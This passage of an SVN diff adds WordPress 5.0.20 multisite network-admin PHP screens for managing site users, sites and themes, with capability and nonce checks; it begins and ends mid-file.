+<form method="get">
+<?php $wp_list_table->search_box( __( 'Search Installed Themes' ), 'theme' ); ?>
+<input type="hidden" name="id" value="<?php echo esc_attr( $id ) ?>" />
+</form>
+
+<?php $wp_list_table->views(); ?>
+
+<form method="post" action="site-themes.php?action=update-site">
+	<input type="hidden" name="id" value="<?php echo esc_attr( $id ) ?>" />
+
+<?php $wp_list_table->display(); ?>
+
+</form>
+
+</div>
+<?php include(ABSPATH . 'wp-admin/admin-footer.php'); ?>
Index: /tags/5.0.20/src/wp-admin/network/site-users.php
===================================================================
--- /tags/5.0.20/src/wp-admin/network/site-users.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/network/site-users.php	(revision 56912)
@@ -0,0 +1,355 @@
+<?php
+/**
+ * Edit Site Users Administration Screen
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can('manage_sites') )
+	wp_die( __( 'Sorry, you are not allowed to edit this site.' ), 403 );
+
+$wp_list_table = _get_list_table('WP_Users_List_Table');
+$wp_list_table->prepare_items();
+
+get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
+get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );
+
+get_current_screen()->set_screen_reader_content( array(
+	'heading_views'      => __( 'Filter site users list' ),
+	'heading_pagination' => __( 'Site users list navigation' ),
+	'heading_list'       => __( 'Site users list' ),
+) );
+
+$_SERVER['REQUEST_URI'] = remove_query_arg( 'update', $_SERVER['REQUEST_URI'] );
+$referer = remove_query_arg( 'update', wp_get_referer() );
+
+if ( ! empty( $_REQUEST['paged'] ) ) {
+	$referer = add_query_arg( 'paged', (int) $_REQUEST['paged'], $referer );
+}
+
+$id = isset( $_REQUEST['id'] ) ? intval( $_REQUEST['id'] ) : 0;
+
+if ( ! $id )
+	wp_die( __('Invalid site ID.') );
+
+$details = get_site( $id );
+if ( ! $details ) {
+	wp_die( __( 'The requested site does not exist.' ) );
+}
+
+if ( ! can_edit_network( $details->site_id ) )
+	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
+
+$is_main_site = is_main_site( $id );
+
+switch_to_blog( $id );
+
+$action = $wp_list_table->current_action();
+
+if ( $action ) {
+
+	switch ( $action ) {
+		case 'newuser':
+			check_admin_referer( 'add-user', '_wpnonce_add-new-user' );
+			$user = $_POST['user'];
+			if ( ! is_array( $_POST['user'] ) || empty( $user['username'] ) || empty( $user['email'] ) ) {
+				$update = 'err_new';
+			} else {
+				$password = wp_generate_password( 12, false);
+				$user_id = wpmu_create_user( esc_html( strtolower( $user['username'] ) ), $password, esc_html( $user['email'] ) );
+
+				if ( false === $user_id ) {
+		 			$update = 'err_new_dup';
+				} else {
+					$result = add_user_to_blog( $id, $user_id, $_POST['new_role'] );
+
+					if ( is_wp_error( $result ) ) {
+						$update = 'err_add_fail';
+					} else {
+						$update = 'newuser';
+						/**
+						  * Fires after a user has been created via the network site-users.php page.
+						  *
+						  * @since 4.4.0
+						  *
+						  * @param int $user_id ID of the newly created user.
+						  */
+						do_action( 'network_site_users_created_user', $user_id );
+					}
+				}
+			}
+			break;
+
+		case 'adduser':
+			check_admin_referer( 'add-user', '_wpnonce_add-user' );
+			if ( !empty( $_POST['newuser'] ) ) {
+				$update = 'adduser';
+				$newuser = $_POST['newuser'];
+				$user = get_user_by( 'login', $newuser );
+				if ( $user && $user->exists() ) {
+					if ( ! is_user_member_of_blog( $user->ID, $id ) ) {
+						$result = add_user_to_blog( $id, $user->ID, $_POST['new_role'] );
+
+						if ( is_wp_error( $result ) ) {
+							$update = 'err_add_fail';
+						}
+					} else {
+						$update = 'err_add_member';
+					}
+				} else {
+					$update = 'err_add_notfound';
+				}
+			} else {
+				$update = 'err_add_notfound';
+			}
+			break;
+
+		case 'remove':
+			if ( ! current_user_can( 'remove_users' ) ) {
+				wp_die( __( 'Sorry, you are not allowed to remove users.' ), 403 );
+			}
+
+			check_admin_referer( 'bulk-users' );
+
+			$update = 'remove';
+			if ( isset( $_REQUEST['users'] ) ) {
+				$userids = $_REQUEST['users'];
+
+				foreach ( $userids as $user_id ) {
+					$user_id = (int) $user_id;
+					remove_user_from_blog( $user_id, $id );
+				}
+			} elseif ( isset( $_GET['user'] ) ) {
+				remove_user_from_blog( $_GET['user'] );
+			} else {
+				$update = 'err_remove';
+			}
+			break;
+
+		case 'promote':
+			check_admin_referer( 'bulk-users' );
+			$editable_roles = get_editable_roles();
+			$role = false;
+			if ( ! empty( $_REQUEST['new_role2'] ) ) {
+				$role = $_REQUEST['new_role2'];
+			} elseif ( ! empty( $_REQUEST['new_role'] ) ) {
+				$role = $_REQUEST['new_role'];
+			}
+
+			if ( empty( $editable_roles[ $role ] ) ) {
+				wp_die( __( 'Sorry, you are not allowed to give users that role.' ), 403 );
+			}
+
+			if ( isset( $_REQUEST['users'] ) ) {
+				$userids = $_REQUEST['users'];
+				$update = 'promote';
+				foreach ( $userids as $user_id ) {
+					$user_id = (int) $user_id;
+
+					// If the user doesn't already belong to the blog, bail.
+					if ( ! is_user_member_of_blog( $user_id ) ) {
+						wp_die(
+							'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
+							'<p>' . __( 'One of the selected users is not a member of this site.' ) . '</p>',
+							403
+						);
+					}
+
+					$user = get_userdata( $user_id );
+					$user->set_role( $role );
+				}
+			} else {
+				$update = 'err_promote';
+			}
+			break;
+		default:
+			if ( ! isset( $_REQUEST['users'] ) ) {
+				break;
+			}
+			check_admin_referer( 'bulk-users' );
+			$userids = $_REQUEST['users'];
+			/** This action is documented in wp-admin/network/site-themes.php */
+			$referer = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $referer, $action, $userids, $id );
+			$update = $action;
+			break;
+	}
+
+	wp_safe_redirect( add_query_arg( 'update', $update, $referer ) );
+	exit();
+}
+
+restore_current_blog();
+
+if ( isset( $_GET['action'] ) && 'update-site' == $_GET['action'] ) {
+	wp_safe_redirect( $referer );
+	exit();
+}
+
+add_screen_option( 'per_page' );
+
+/* translators: %s: site name */
+$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );
+
+$parent_file = 'sites.php';
+$submenu_file = 'sites.php';
+
+/**
+ * Filters whether to show the Add Existing User form on the Multisite Users screen.
+ *
+ * @since 3.1.0
+ *
+ * @param bool $bool Whether to show the Add Existing User form. Default true.
+ */
+if ( ! wp_is_large_network( 'users' ) && apply_filters( 'show_network_site_users_add_existing_form', true ) )
+	wp_enqueue_script( 'user-suggest' );
+
+require( ABSPATH . 'wp-admin/admin-header.php' ); ?>
+
+<script type="text/javascript">
+var current_site_id = <?php echo absint( $id ); ?>;
+</script>
+
+
+<div class="wrap">
+<h1 id="edit-site"><?php echo $title; ?></h1>
+<p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p>
+<?php
+
+network_edit_site_nav( array(
+	'blog_id'  => $id,
+	'selected' => 'site-users'
+) );
+
+if ( isset($_GET['update']) ) :
+	switch($_GET['update']) {
+	case 'adduser':
+		echo '<div id="message" class="updated notice is-dismissible"><p>' . __( 'User added.' ) . '</p></div>';
+		break;
+	case 'err_add_member':
+		echo '<div id="message" class="error notice is-dismissible"><p>' . __( 'User is already a member of this site.' ) . '</p></div>';
+		break;
+	case 'err_add_fail':
+		echo '<div id="message" class="error notice is-dismissible"><p>' . __( 'User could not be added to this site.' ) . '</p></div>';
+		break;
+	case 'err_add_notfound':
+		echo '<div id="message" class="error notice is-dismissible"><p>' . __( 'Enter the username of an existing user.' ) . '</p></div>';
+		break;
+	case 'promote':
+		echo '<div id="message" class="updated notice is-dismissible"><p>' . __( 'Changed roles.' ) . '</p></div>';
+		break;
+	case 'err_promote':
+		echo '<div id="message" class="error notice is-dismissible"><p>' . __( 'Select a user to change role.' ) . '</p></div>';
+		break;
+	case 'remove':
+		echo '<div id="message" class="updated notice is-dismissible"><p>' . __( 'User removed from this site.' ) . '</p></div>';
+		break;
+	case 'err_remove':
+		echo '<div id="message" class="error notice is-dismissible"><p>' . __( 'Select a user to remove.' ) . '</p></div>';
+		break;
+	case 'newuser':
+		echo '<div id="message" class="updated notice is-dismissible"><p>' . __( 'User created.' ) . '</p></div>';
+		break;
+	case 'err_new':
+		echo '<div id="message" class="error notice is-dismissible"><p>' . __( 'Enter the username and email.' ) . '</p></div>';
+		break;
+	case 'err_new_dup':
+		echo '<div id="message" class="error notice is-dismissible"><p>' . __( 'Duplicated username or email address.' ) . '</p></div>';
+		break;
+	}
+endif; ?>
+
+<form class="search-form" method="get">
+<?php $wp_list_table->search_box( __( 'Search Users' ), 'user' ); ?>
+<input type="hidden" name="id" value="<?php echo esc_attr( $id ) ?>" />
+</form>
+
+<?php $wp_list_table->views(); ?>
+
+<form method="post" action="site-users.php?action=update-site">
+	<input type="hidden" name="id" value="<?php echo esc_attr( $id ) ?>" />
+
+<?php $wp_list_table->display(); ?>
+
+</form>
+
+<?php
+/**
+ * Fires after the list table on the Users screen in the Multisite Network Admin.
+ *
+ * @since 3.1.0
+ */
+do_action( 'network_site_users_after_list_table' );
+
+/** This filter is documented in wp-admin/network/site-users.php */
+if ( current_user_can( 'promote_users' ) && apply_filters( 'show_network_site_users_add_existing_form', true ) ) : ?>
+<h2 id="add-existing-user"><?php _e( 'Add Existing User' ); ?></h2>
+<form action="site-users.php?action=adduser" id="adduser" method="post">
+	<input type="hidden" name="id" value="<?php echo esc_attr( $id ) ?>" />
+	<table class="form-table">
+		<tr>
+			<th scope="row"><label for="newuser"><?php _e( 'Username' ); ?></label></th>
+			<td><input type="text" class="regular-text wp-suggest-user" name="newuser" id="newuser" /></td>
+		</tr>
+		<tr>
+			<th scope="row"><label for="new_role_adduser"><?php _e( 'Role' ); ?></label></th>
+			<td><select name="new_role" id="new_role_adduser">
+			<?php
+			switch_to_blog( $id );
+			wp_dropdown_roles( get_option( 'default_role' ) );
+			restore_current_blog();
+			?>
+			</select></td>
+		</tr>
+	</table>
+	<?php wp_nonce_field( 'add-user', '_wpnonce_add-user' ) ?>
+	<?php submit_button( __( 'Add User' ), 'primary', 'add-user', true, array( 'id' => 'submit-add-existing-user' ) ); ?>
+</form>
+<?php endif; ?>
+
+<?php
+/**
+ * Filters whether to show the Add New User form on the Multisite Users screen.
+ *
+ * @since 3.1.0
+ *
+ * @param bool $bool Whether to show the Add New User form. Default true.
+ */
+if ( current_user_can( 'create_users' ) && apply_filters( 'show_network_site_users_add_new_form', true ) ) : ?>
+<h2 id="add-new-user"><?php _e( 'Add New User' ); ?></h2>
+<form action="<?php echo network_admin_url('site-users.php?action=newuser'); ?>" id="newuser" method="post">
+	<input type="hidden" name="id" value="<?php echo esc_attr( $id ) ?>" />
+	<table class="form-table">
+		<tr>
+			<th scope="row"><label for="user_username"><?php _e( 'Username' ) ?></label></th>
+			<td><input type="text" class="regular-text" name="user[username]" id="user_username" /></td>
+		</tr>
+		<tr>
+			<th scope="row"><label for="user_email"><?php _e( 'Email' ) ?></label></th>
+			<td><input type="text" class="regular-text" name="user[email]" id="user_email" /></td>
+		</tr>
+		<tr>
+			<th scope="row"><label for="new_role_newuser"><?php _e( 'Role' ); ?></label></th>
+			<td><select name="new_role" id="new_role_newuser">
+			<?php
+			switch_to_blog( $id );
+			wp_dropdown_roles( get_option( 'default_role' ) );
+			restore_current_blog();
+			?>
+			</select></td>
+		</tr>
+		<tr class="form-field">
+			<td colspan="2"><?php _e( 'A password reset link will be sent to the user via email.' ) ?></td>
+		</tr>
+	</table>
+	<?php wp_nonce_field( 'add-user', '_wpnonce_add-new-user' ) ?>
+	<?php submit_button( __( 'Add New User' ), 'primary', 'add-user', true, array( 'id' => 'submit-add-user' ) ); ?>
+</form>
+<?php endif; ?>
+</div>
+<?php
+require( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/5.0.20/src/wp-admin/network/sites.php
===================================================================
--- /tags/5.0.20/src/wp-admin/network/sites.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/network/sites.php	(revision 56912)
@@ -0,0 +1,361 @@
+<?php
+/**
+ * Multisite sites administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can( 'manage_sites' ) )
+	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
+
+$wp_list_table = _get_list_table( 'WP_MS_Sites_List_Table' );
+$pagenum = $wp_list_table->get_pagenum();
+
+$title = __( 'Sites' );
+$parent_file = 'sites.php';
+
+add_screen_option( 'per_page' );
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' =>
+		'<p>' . __('Add New takes you to the Add New Site screen. You can search for a site by Name, ID number, or IP address. Screen Options allows you to choose how many sites to display on one page.') . '</p>' .
+		'<p>' . __('This is the main table of all sites on this network. Switch between list and excerpt views by using the icons above the right side of the table.') . '</p>' .
+		'<p>' . __('Hovering over each site reveals seven options (three for the primary site):') . '</p>' .
+		'<ul><li>' . __('An Edit link to a separate Edit Site screen.') . '</li>' .
+		'<li>' . __('Dashboard leads to the Dashboard for that site.') . '</li>' .
+		'<li>' . __('Deactivate, Archive, and Spam which lead to confirmation screens. These actions can be reversed later.') . '</li>' .
+		'<li>' . __('Delete which is a permanent action after the confirmation screens.') . '</li>' .
+		'<li>' . __('Visit to go to the front-end site live.') . '</li></ul>' .
+		'<p>' . __('The site ID is used internally, and is not shown on the front end of the site or to users/viewers.') . '</p>' .
+		'<p>' . __('Clicking on bold headings can re-sort this table.') . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Network_Admin_Sites_Screen">Documentation on Site Management</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/forum/multisite/">Support Forums</a>') . '</p>'
+);
+
+get_current_screen()->set_screen_reader_content( array(
+	'heading_pagination' => __( 'Sites list navigation' ),
+	'heading_list'       => __( 'Sites list' ),
+) );
+
+$id = isset( $_REQUEST['id'] ) ? intval( $_REQUEST['id'] ) : 0;
+
+if ( isset( $_GET['action'] ) ) {
+	/** This action is documented in wp-admin/network/edit.php */
+	do_action( 'wpmuadminedit' );
+
+	// A list of valid actions and their associated messaging for confirmation output.
+	$manage_actions = array(
+		'activateblog'   => __( 'You are about to activate the site %s.' ),
+		'deactivateblog' => __( 'You are about to deactivate the site %s.' ),
+		'unarchiveblog'  => __( 'You are about to unarchive the site %s.' ),
+		'archiveblog'    => __( 'You are about to archive the site %s.' ),
+		'unspamblog'     => __( 'You are about to unspam the site %s.' ),
+		'spamblog'       => __( 'You are about to mark the site %s as spam.' ),
+		'deleteblog'     => __( 'You are about to delete the site %s.' ),
+		'unmatureblog'   => __( 'You are about to mark the site %s as mature.' ),
+		'matureblog'     => __( 'You are about to mark the site %s as not mature.' ),
+	);
+
+	if ( 'confirm' === $_GET['action'] ) {
+		// The action2 parameter contains the action being taken on the site.
+		$site_action = $_GET['action2'];
+
+		if ( ! array_key_exists( $site_action, $manage_actions ) ) {
+			wp_die( __( 'The requested action is not valid.' ) );
+		}
+
+		// The mature/unmature UI exists only as external code. Check the "confirm" nonce for backward compatibility.
+		if ( 'matureblog' === $site_action || 'unmatureblog' === $site_action ) {
+			check_admin_referer( 'confirm' );
+		} else {
+			check_admin_referer( $site_action . '_' . $id );
+		}
+
+		if ( ! headers_sent() ) {
+			nocache_headers();
+			header( 'Content-Type: text/html; charset=utf-8' );
+		}
+
+		if ( get_network()->site_id == $id ) {
+			wp_die( __( 'Sorry, you are not allowed to change the current site.' ) );
+		}
+
+		$site_details = get_site( $id );
+		$site_address = untrailingslashit( $site_details->domain . $site_details->path );
+
+		require_once( ABSPATH . 'wp-admin/admin-header.php' );
+		?>
+			<div class="wrap">
+				<h1><?php _e( 'Confirm your action' ); ?></h1>
+				<form action="sites.php?action=<?php echo esc_attr( $site_action ); ?>" method="post">
+					<input type="hidden" name="action" value="<?php echo esc_attr( $site_action ); ?>" />
+					<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
+					<input type="hidden" name="_wp_http_referer" value="<?php echo esc_attr( wp_get_referer() ); ?>" />
+					<?php wp_nonce_field( $site_action . '_' . $id, '_wpnonce', false ); ?>
+					<p><?php echo sprintf( $manage_actions[ $site_action ], $site_address ); ?></p>
+					<?php submit_button( __( 'Confirm' ), 'primary' ); ?>
+				</form>
+			</div>
+		<?php
+		require_once( ABSPATH . 'wp-admin/admin-footer.php' );
+		exit();
+	} elseif ( array_key_exists( $_GET['action'], $manage_actions ) ) {
+		$action = $_GET['action'];
+		check_admin_referer( $action . '_' . $id );
+	} elseif ( 'allblogs' === $_GET['action'] ) {
+		check_admin_referer( 'bulk-sites' );
+	}
+
+	$updated_action = '';
+
+	switch ( $_GET['action'] ) {
+
+		case 'deleteblog':
+			if ( ! current_user_can( 'delete_sites' ) )
+				wp_die( __( 'Sorry, you are not allowed to access this page.' ), '', array( 'response' => 403 ) );
+
+			$updated_action = 'not_deleted';
+			if ( $id != '0' && $id != get_network()->site_id && current_user_can( 'delete_site', $id ) ) {
+				wpmu_delete_blog( $id, true );
+				$updated_action = 'delete';
+			}
+		break;
+
+		case 'delete_sites':
+			check_admin_referer( 'ms-delete-sites' );
+
+			foreach ( (array) $_POST['site_ids'] as $site_id ) {
+				$site_id = (int) $site_id;
+
+				if ( $site_id == get_network()->site_id ) {
+					continue;
+				}
+
+				if ( ! current_user_can( 'delete_site', $site_id ) ) {
+					$site = get_site( $site_id );
+					$site_address = untrailingslashit( $site->domain . $site->path );
+
+					wp_die( sprintf( __( 'Sorry, you are not allowed to delete the site %s.' ), $site_address ), 403 );
+				}
+
+				$updated_action = 'all_delete';
+				wpmu_delete_blog( $site_id, true );
+			}
+			break;
+
+		case 'allblogs':
+			if ( ( isset( $_POST['action'] ) || isset( $_POST['action2'] ) ) && isset( $_POST['allblogs'] ) ) {
+				$doaction = $_POST['action'] != -1 ? $_POST['action'] : $_POST['action2'];
+
+				foreach ( (array) $_POST['allblogs'] as $key => $val ) {
+					if ( $val != '0' && $val != get_network()->site_id ) {
+						switch ( $doaction ) {
+							case 'delete':
+								require_once( ABSPATH . 'wp-admin/admin-header.php' );
+								?>
+								<div class="wrap">
+									<h1><?php _e( 'Confirm your action' ); ?></h1>
+									<form action="sites.php?action=delete_sites" method="post">
+										<input type="hidden" name="action" value="delete_sites" />
+										<input type="hidden" name="_wp_http_referer" value="<?php echo esc_attr( wp_get_referer() ); ?>" />
+										<?php wp_nonce_field( 'ms-delete-sites', '_wpnonce', false ); ?>
+										<p><?php _e( 'You are about to delete the following sites:' ); ?></p>
+										<ul class="ul-disc">
+											<?php foreach ( $_POST['allblogs'] as $site_id ) :
+												$site = get_site( $site_id );
+												$site_address = untrailingslashit( $site->domain . $site->path );
+												?>
+												<li>
+													<?php echo $site_address; ?>
+													<input type="hidden" name="site_ids[]" value="<?php echo (int) $site_id; ?>" />
+												</li>
+											<?php endforeach; ?>
+										</ul>
+										<?php submit_button( __( 'Confirm' ), 'primary' ); ?>
+									</form>
+								</div>
+								<?php
+								require_once( ABSPATH . 'wp-admin/admin-footer.php' );
+								exit();
+							break;
+
+							case 'spam':
+							case 'notspam':
+								$updated_action = ( 'spam' === $doaction ) ? 'all_spam' : 'all_notspam';
+								update_blog_status( $val, 'spam', ( 'spam' === $doaction ) ? '1' : '0' );
+							break;
+						}
+					} else {
+						wp_die( __( 'Sorry, you are not allowed to change the current site.' ) );
+					}
+				}
+				if ( ! in_array( $doaction, array( 'delete', 'spam', 'notspam' ), true ) ) {
+					$redirect_to = wp_get_referer();
+					$blogs = (array) $_POST['allblogs'];
+					/** This action is documented in wp-admin/network/site-themes.php */
+					$redirect_to = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $redirect_to, $doaction, $blogs, $id );
+					wp_safe_redirect( $redirect_to );
+					exit();
+				}
+			} else {
+				$location = network_admin_url( 'sites.php' );
+				if ( ! empty( $_REQUEST['paged'] ) ) {
+					$location = add_query_arg( 'paged', (int) $_REQUEST['paged'], $location );
+				}
+				wp_redirect( $location );
+				exit();
+			}
+		break;
+
+		case 'archiveblog':
+		case 'unarchiveblog':
+			update_blog_status( $id, 'archived', ( 'archiveblog' === $_GET['action'] ) ? '1' : '0' );
+		break;
+
+		case 'activateblog':
+			update_blog_status( $id, 'deleted', '0' );
+
+			/**
+			 * Fires after a network site is activated.
+			 *
+			 * @since MU (3.0.0)
+			 *
+			 * @param string $id The ID of the activated site.
+			 */
+			do_action( 'activate_blog', $id );
+		break;
+
+		case 'deactivateblog':
+			/**
+			 * Fires before a network site is deactivated.
+			 *
+			 * @since MU (3.0.0)
+			 *
+			 * @param string $id The ID of the site being deactivated.
+			 */
+			do_action( 'deactivate_blog', $id );
+			update_blog_status( $id, 'deleted', '1' );
+		break;
+
+		case 'unspamblog':
+		case 'spamblog':
+			update_blog_status( $id, 'spam', ( 'spamblog' === $_GET['action'] ) ? '1' : '0' );
+		break;
+
+		case 'unmatureblog':
+		case 'matureblog':
+			update_blog_status( $id, 'mature', ( 'matureblog' === $_GET['action'] ) ? '1' : '0' );
+		break;
+	}
+
+	if ( empty( $updated_action ) && array_key_exists( $_GET['action'], $manage_actions ) ) {
+		$updated_action = $_GET['action'];
+	}
+
+	if ( ! empty( $updated_action ) ) {
+		wp_safe_redirect( add_query_arg( array( 'updated' => $updated_action ), wp_get_referer() ) );
+		exit();
+	}
+}
+
+$msg = '';
+if ( isset( $_GET['updated'] ) ) {
+	switch ( $_GET['updated'] ) {
+		case 'all_notspam':
+			$msg = __( 'Sites removed from spam.' );
+		break;
+		case 'all_spam':
+			$msg = __( 'Sites marked as spam.' );
+		break;
+		case 'all_delete':
+			$msg = __( 'Sites deleted.' );
+		break;
+		case 'delete':
+			$msg = __( 'Site deleted.' );
+		break;
+		case 'not_deleted':
+			$msg = __( 'Sorry, you are not allowed to delete that site.' );
+		break;
+		case 'archiveblog':
+			$msg = __( 'Site archived.' );
+		break;
+		case 'unarchiveblog':
+			$msg = __( 'Site unarchived.' );
+		break;
+		case 'activateblog':
+			$msg = __( 'Site activated.' );
+		break;
+		case 'deactivateblog':
+			$msg = __( 'Site deactivated.' );
+		break;
+		case 'unspamblog':
+			$msg = __( 'Site removed from spam.' );
+		break;
+		case 'spamblog':
+			$msg = __( 'Site marked as spam.' );
+		break;
+		default:
+			/**
+			 * Filters a specific, non-default site-updated message in the Network admin.
+			 *
+			 * The dynamic portion of the hook name, `$_GET['updated']`, refers to the
+			 * non-default site update action.
+			 *
+			 * @since 3.1.0
+			 *
+			 * @param string $msg The update message. Default 'Settings saved'.
+			 */
+			$msg = apply_filters( 'network_sites_updated_message_' . $_GET['updated'], __( 'Settings saved.' ) );
+		break;
+	}
+
+	if ( ! empty( $msg ) )
+		$msg = '<div id="message" class="updated notice is-dismissible"><p>' . $msg . '</p></div>';
+}
+
+$wp_list_table->prepare_items();
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+
+<div class="wrap">
+<h1 class="wp-heading-inline"><?php _e( 'Sites' ); ?></h1>
+
+<?php if ( current_user_can( 'create_sites') ) : ?>
+	<a href="<?php echo network_admin_url('site-new.php'); ?>" class="page-title-action"><?php echo esc_html_x( 'Add New', 'site' ); ?></a>
+<?php endif; ?>
+
+<?php
+if ( isset( $_REQUEST['s'] ) && strlen( $_REQUEST['s'] ) ) {
+	/* translators: %s: search keywords */
+	printf( '<span class="subtitle">' . __( 'Search results for &#8220;%s&#8221;' ) . '</span>', esc_html( $s ) );
+}
+?>
+
+<hr class="wp-header-end">
+
+<?php echo $msg; ?>
+
+<form method="get" id="ms-search">
+<?php $wp_list_table->search_box( __( 'Search Sites' ), 'site' ); ?>
+<input type="hidden" name="action" value="blogs" />
+</form>
+
+<form id="form-site-list" action="sites.php?action=allblogs" method="post">
+	<?php $wp_list_table->display(); ?>
+</form>
+</div>
+<?php
+
+require_once( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/5.0.20/src/wp-admin/network/theme-editor.php
===================================================================
--- /tags/5.0.20/src/wp-admin/network/theme-editor.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/network/theme-editor.php	(revision 56912)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * Theme editor network administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+require( ABSPATH . 'wp-admin/theme-editor.php' );
Index: /tags/5.0.20/src/wp-admin/network/theme-install.php
===================================================================
--- /tags/5.0.20/src/wp-admin/network/theme-install.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/network/theme-install.php	(revision 56912)
@@ -0,0 +1,16 @@
+<?php
+/**
+ * Install theme network administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+if ( isset( $_GET['tab'] ) && ( 'theme-information' == $_GET['tab'] ) )
+	define( 'IFRAME_REQUEST', true );
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+require( ABSPATH . 'wp-admin/theme-install.php' );
Index: /tags/5.0.20/src/wp-admin/network/themes.php
===================================================================
--- /tags/5.0.20/src/wp-admin/network/themes.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/network/themes.php	(revision 56912)
@@ -0,0 +1,323 @@
+<?php
+/**
+ * Multisite themes administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( !current_user_can('manage_network_themes') )
+	wp_die( __( 'Sorry, you are not allowed to manage network themes.' ) );
+
+$wp_list_table = _get_list_table('WP_MS_Themes_List_Table');
+$pagenum = $wp_list_table->get_pagenum();
+
+$action = $wp_list_table->current_action();
+
+$s = isset($_REQUEST['s']) ? $_REQUEST['s'] : '';
+
+// Clean up request URI from temporary args for screen options/paging uri's to work as expected.
+$temp_args = array( 'enabled', 'disabled', 'deleted', 'error' );
+$_SERVER['REQUEST_URI'] = remove_query_arg( $temp_args, $_SERVER['REQUEST_URI'] );
+$referer = remove_query_arg( $temp_args, wp_get_referer() );
+
+if ( $action ) {
+	switch ( $action ) {
+		case 'enable':
+			check_admin_referer('enable-theme_' . $_GET['theme']);
+			WP_Theme::network_enable_theme( $_GET['theme'] );
+			if ( false === strpos( $referer, '/network/themes.php' ) )
+				wp_redirect( network_admin_url( 'themes.php?enabled=1' ) );
+			else
+				wp_safe_redirect( add_query_arg( 'enabled', 1, $referer ) );
+			exit;
+		case 'disable':
+			check_admin_referer('disable-theme_' . $_GET['theme']);
+			WP_Theme::network_disable_theme( $_GET['theme'] );
+			wp_safe_redirect( add_query_arg( 'disabled', '1', $referer ) );
+			exit;
+		case 'enable-selected':
+			check_admin_referer('bulk-themes');
+			$themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
+			if ( empty($themes) ) {
+				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
+				exit;
+			}
+			WP_Theme::network_enable_theme( (array) $themes );
+			wp_safe_redirect( add_query_arg( 'enabled', count( $themes ), $referer ) );
+			exit;
+		case 'disable-selected':
+			check_admin_referer('bulk-themes');
+			$themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
+			if ( empty($themes) ) {
+				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
+				exit;
+			}
+			WP_Theme::network_disable_theme( (array) $themes );
+			wp_safe_redirect( add_query_arg( 'disabled', count( $themes ), $referer ) );
+			exit;
+		case 'update-selected' :
+			check_admin_referer( 'bulk-themes' );
+
+			if ( isset( $_GET['themes'] ) )
+				$themes = explode( ',', $_GET['themes'] );
+			elseif ( isset( $_POST['checked'] ) )
+				$themes = (array) $_POST['checked'];
+			else
+				$themes = array();
+
+			$title = __( 'Update Themes' );
+			$parent_file = 'themes.php';
+
+			require_once(ABSPATH . 'wp-admin/admin-header.php');
+
+			echo '<div class="wrap">';
+			echo '<h1>' . esc_html( $title ) . '</h1>';
+
+			$url = self_admin_url('update.php?action=update-selected-themes&amp;themes=' . urlencode( join(',', $themes) ));
+			$url = wp_nonce_url($url, 'bulk-update-themes');
+
+			echo "<iframe src='$url' style='width: 100%; height:100%; min-height:850px;'></iframe>";
+			echo '</div>';
+			require_once(ABSPATH . 'wp-admin/admin-footer.php');
+			exit;
+		case 'delete-selected':
+			if ( ! current_user_can( 'delete_themes' ) ) {
+				wp_die( __('Sorry, you are not allowed to delete themes for this site.') );
+			}
+
+			check_admin_referer( 'bulk-themes' );
+
+			$themes = isset( $_REQUEST['checked'] ) ? (array) $_REQUEST['checked'] : array();
+
+			if ( empty( $themes ) ) {
+				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
+				exit;
+			}
+
+			$themes = array_diff( $themes, array( get_option( 'stylesheet' ), get_option( 'template' ) ) );
+
+			if ( empty( $themes ) ) {
+				wp_safe_redirect( add_query_arg( 'error', 'main', $referer ) );
+				exit;
+			}
+
+			$theme_info = array();
+			foreach ( $themes as $key => $theme ) {
+				$theme_info[ $theme ] = wp_get_theme( $theme );
+			}
+
+			include(ABSPATH . 'wp-admin/update.php');
+
+			$parent_file = 'themes.php';
+
